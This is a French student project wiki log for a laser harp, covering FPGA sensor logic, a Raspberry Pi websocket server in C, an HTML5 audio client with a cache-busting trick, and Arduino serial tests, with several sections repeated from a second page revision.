Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:05:17Z

Bcartier : /* Séance supplémentaire 1 : Réalisation du site Web */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
